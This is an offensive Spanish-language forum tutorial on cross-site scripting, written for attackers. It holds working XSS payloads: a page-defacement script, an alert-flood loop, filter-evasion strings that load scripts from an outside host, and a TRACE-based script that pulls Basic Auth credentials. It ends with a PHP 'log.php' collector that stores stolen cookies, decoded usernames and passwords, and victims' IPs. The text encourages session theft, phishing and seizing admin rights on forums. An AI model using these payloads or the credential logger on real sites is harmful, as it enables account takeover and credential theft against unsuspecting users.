

Los Poderes Secretos de XSS (Cross Site Scripting)

Por SirDarckCat (sirdarckcat [@] gmail [.] com)
<http://foro.elhacker.net/index.php/topic,98324.0.html>

XSS

aka Cross Site Scripting

es el ataque basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado.

El problema es que normalmente no se valida correctamente, esta vulnerabilidad puede estar de forma directa (foros, mensajes de error, etc..) o indirecta (redirecciones, framesets, etc..) cada una se trata de forma diferente:

Tipo Manejo

- | | |
|-----------|---|
| Directa | Este tipo de XSS, es el que normalmente es censurado, así que es muy poco común que puedas usar tags como <script o <iframe, sin embargo nunca es malo probar, para ver formas de pasar estas protecciones, debes de saber mas de HTML que el creador del sitio |
| Indirecta | Esta es un tipo de vulnerabilidad, muy común, y muy poco explotada, consiste en modificar valores que la aplicación web utiliza para pasar variables entre 2 paginas, sin usar sesiones. |

Indirecta

Explicare primero la Indirecta, ya que es la menos censurada.

Esta sucede cuando hay un mensaje o una ruta en la URL del navegador o en la cookie. para saber el contenido de una cookie, sin usar ningún tipo de iecv o addin para tu navegador, puedes usar el siguiente script, solo colócalo en la barra de direcciones, y presiona Enter.

Código:

```
javascript:void(document.cookie=prompt("Modifica el valor de la cookie", document.cookie).split(";"));
```

una vez dentro podrás modificar la cookie a tu antojo, si pones cancelar la cookie se borrará. ahora, que podemos ver con este ejemplo?

que podemos meter comandos javascript solo modificando una URL, como puedes aventajarte de esto?

Usando FrameSets

bien, regresemos al ejemplo de el frameset, que según la pagina que coloques te crea un frame a esa pagina.

que pasara si pones, en esa URL

Código:

```
javascript:while(1)alert("Te estoy floodeando");
```

y el link, lo pones en un foro, un navegador incauto, va a verlo y dirá, bueno, es del mismo dominio, no puede ser nada malo.. y de resultado tendrá un loop infinito.

Ahora, hasta ahí llegan los newbies, pero vamos a evolucionar un poco, ahora, que tal que pones un script que tome tu cookie, y mande un mp a el administrador, o incluso, que borre todos tus post en X foro, todo esto es posible.. y solo necesita un poco de imaginación.

Ahora lo que va.. el robo de cookies, es lo mas básico, y tiene como objetivo robar la cookie.. me dirán, y eso de que sirve? tengo el PHPSESSID, y si el usuario cierra sesión no me servirá de nada.

tienes razón, pero por ejemplo, con el uso de la librería cURL un usuario malintencionado, podría al recibir tu cookie, entrar a la pagina, y dejarla en cache, para que el atacante cuando quiera, pueda entrar como tu, sin siquiera necesitar tu password.. esto va cobrando seriedad no?

ahora que mas?

Otro uso común para estas vulnerabilidades es lograr hacer phishing, o colocar un Xploit.. tu ves la barra de direcciones, y ves que estas en una pagina, pero realmente estas en otra.. metes tu pass, y ya valiste.

Pero lo que me gusta mas, son los sitios de descarga, que colocan en la misma url, el sitio de objetivo.. esas paginas, son vulnerables a ataques XSS indirectos directos xD

osea, puedes colocar una imagen con link al sitio malicioso, y se ejecuta, sin que el usuario lo sepa.

Incluso PODIAS borrar un post en phpBB, o hacerte admin (era posible, no me molesten, claro que si), con este tipo de vulnerabilidad.

Ahora, vamos al siguiente tipo indirecto.

Mensaje personalizado

Estas, son forzosamente para links, no funciona en imágenes (al menos no he visto ninguna que sirva.) y va en esta forma:

Código:

```
error.php?error=Usuario%20Invalido
```

esa pagina, es vulnerable a XSS Indirecto.

con esto puedes meter casi lo que sea ahí dentro.

un <script> que te cree otra sesión bajo otro usuario, y tu sesión actual la mande a el atacante (es lo que explicaba de cURL hace un momento), o lo que sea.. aquí hay muy pocas limitantes.

Voy a explicar como puedes modificar TODA la pagina, osea todo su aspecto, con una vulnerabilidad como esta.

con este código, se borra todo el contenido de la pagina, y escribe otra cosa:

Código:

```
<script>
document.documentElement.innerHTML="DEFACED";
</script>
```

muy complicado?

esto tiene muchos usos potenciales..

Directa

Esta es la mas divertida, y es cuando en por ejemplo.. un foro como este puedo meter un tag, y ejecutar un código, que pueda hacer casi lo mismo, o lo mismo que el Indirecto de Mensaje.

Funciona localizando puntos débiles en la programación de los filtros, así que si por ejemplo, logran quitar los <iframe, <script etc.. siempre puedes poner un <div malicioso, o incluso un <u> o <s>, etc.. tags que casi siempre están permitidos.

Esto pone los pelos de punta a muchos webmasters, afortunadamente, muchos no saben del

"lado oscuro" de HTML + IExplorer 🤖

colocare una sección del CheatSheet de RSnake (<http://ha.ckers.org/xss.html>)

Citar

Código:

Embedded tab to break up the cross site scripting attack: <IMG SRC="jav
ascript:alert('XSS');">

Código:

Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

```
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
```

Código:

Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal):

```
<IMG SRC=" &#14; javascript:alert('XSS');">
```

Código:

Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes any non-alpha-non-digit is a non-valid after an HTML and therefor

considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT&XSS\s":

```
<SCRIPT&XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
```

Código:

```
INPUT image:  
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
```

Entre muchos otros, les recomiendo, que cuando busquen vulnerabilidades XSS, entren a esa página muy buena recopilación., voy a profundizar en ún tipo de esos ataques.

Código:

```
<BR SIZE="{alert('XSS')}">  
<FK STYLE="behavior: url(http://ha.ckers.org/xss.htc);">  
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
```

usar Style es increíblemente fácil de usar, y muchos filtros son vulnerables.

quien se va a imaginar que puedes meter cosas en este!! pues ya ven.. si puedes 🤖

lógicamente no vas a meter todo en el espacio que tienes, puedes usar:

Código:

```
eval(this.fu)  
y en el div, agregar un campo "fu" con el codigo  
<div fu="alert('Hola');" STYLE="background-image: url(javascript:eval(this.fu))">
```

AJAXSS

Este es un tipo de XSS no tan conocido, pero peligroso.

se basa en usar cualquier tipo de vulnerabilidad para introducir un objeto XMLHttpRequest y desde ahí enviar contenido POST, GET, etc.. automáticamente, sin conocimiento del usuario, un Bug de XSS, usando esta técnica en MySpace de MSN, permitió que una persona, lograra tener mucha fama (y es que pudo haber hecho cosas malas, afortunadamente solo hizo esto)

El potencial de este tipo de ataque es infinitamente alto, así que "Be scared", porque parece ser que tiene un futuro prometedor.

El siguiente script obtiene el valor de las cabeceras de autenticación de un sistema basado en Basic Auth. solo habría que decodificarlo, pero es mas fácil mandarlo codificado a tu log de contraseñas, la codificación es base64.

Código:

```
var xmlhttp=new XMLHttpRequest("Microsoft.XMLHTTP");  
xmlhttp.open("TRACE","./",false);  
xmlhttp.send();  
str1=xmlhttp.responseText;  
splitString = str1.split("Authorization: Basic ");  
str2=splitString[1];  
str3=str2.split("Cache");  
alert(str3);
```

log.php para registrar cookies

Código:

```
<?php  
$archivo = fopen('log2.htm','a');  
  
$cookie = $_GET['c'];  
$usuario = $_GET['id'];  
$ip = getenv('REMOTE_ADDR');  
$re = $_HTTPREFERRER;  
$fecha=date("j F, Y, g:i a");  
  
fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.base64_decode($usuario).'<br>Cookie: '.$cookie.'<br>Pagina: '.$re.'<br> IP: ' . $ip. '<br> Fecha y Hora: ' . $fecha. '</hr>');  
  
fclose($archivo);  
?>
```